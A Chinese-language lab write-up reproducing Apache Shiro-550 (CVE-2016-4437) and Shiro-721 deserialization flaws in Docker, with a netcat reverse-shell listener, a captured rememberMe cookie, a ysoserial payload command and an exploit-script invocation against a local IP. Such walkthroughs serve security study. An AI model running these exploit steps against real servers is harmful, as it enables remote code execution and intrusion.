一:shiro550漏洞复现(cve-2016-4437)
漏洞描述
Apache Shiro 是一个强大易用的Java安全框架,提供了认证、授权、加密和会话管理等功能,Shiro框架直观、易用、同时也能提供健壮的安全性。
Apache Shiro反序列化漏洞分为两种:Shiro-550、Shiro-721
Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie。在服务端对rememberMe的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞。 那么,Payload产生的过程: 命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie值 在整个漏洞利用过程中,比较重要的是AES加密的密钥,如果没有修改默认的密钥那么就很容易就知道密钥了,Payload构造起来也是十分的简单。
环境搭建
启动环境
切换到/shiro/CVE-2016-4437# 目录下
docker-compose up -d
此时环境搭建成功
漏洞复现
勾选remenberMe选项,然后抓包,相应包中有rememberME字段,证明其为shiro框架
使用shiro反序列化检测工具测试
github:https://github.com/feihong-cs/ShiroExploit/releases
输入url然后点击下一步
检测到目标存在Shiro反序列化漏洞
打开监听模式
反弹shell
nc -lvp 6666
此时查看是否监听到
反弹shell成功
二:shiro721漏洞复现
环境搭建
docker pull medicean/vulapps:s_shiro_1
docker run -d -p8080:8080 be6
此时环境搭建成功
漏洞复现
点击log in
输入正确的username和password
点击remember me
抓包
认证失败时会设置 deleteMe 的 cookie
rememberMe=szoAhLDzPjZhooRSblDquHLMGkUP74G3V6R0yREvaGgLHDBGg2xUnTiqDSUAxMvnPDcgl0TcavUdZmHXxaPXtDAX2perdj8D9v2gLhm+ZK6ymkYD6ptgeOPFcra5h4p05Mb2/q03HmMaNWJUVCv7FuZOXdkW9ygXymNsp+sk33EVPeHhRbCWqRAojiSwP52EpAVZ0RAySavrq+IWmRzIw3ERcfLwDrDd+oFnQBLhIHIV6nMRCMCnuDvkpHmNSLOdX39/4yJSfECl+WIVD8SnVHZD8vMQHzsL+oIrIw5R/IzaQ22dhZBsDDOAVw0HNwXsuSA1L0SoQhjWTGmmgIpFwS8FCUks9xS22EC458yLsVlqXp1NtxSvWhSrNmQhQKoU+JdZTbJq38a41zZcvMy4Fa420E/xyrnD5FE4rA03bPgLFLFUniko3Tvm5uY4l9hcyR797DRz62fsuoOgGXzb2IkYAzAbnk035iiYuR1okO7XT5GNCgUXgelgdCe6D5Fo
使用ysoserial工具生成payload
在下载路径上cmd打开
java -jar ysoserial.jar CommonsBeanutils1 "touch
/usr/local/tomcat/test" > payload.class
#"touch
/usr/local/tomcat/test" 在/usr/local/tomcat目录写入test
cp payload.class shiro_rce_exp-master
cd shiro_rce_exp-master 切换到脚本目录
python2 shiro_exp.py http://192.168.8.208:8181/account/ 之前获取的RememberMe值 payload.class
这里用python2启动脚本
接下来就是漫长的等待~
将扫出来的cookies替换之前的
检查一下执行结果,可以看到成功创建了一个test文件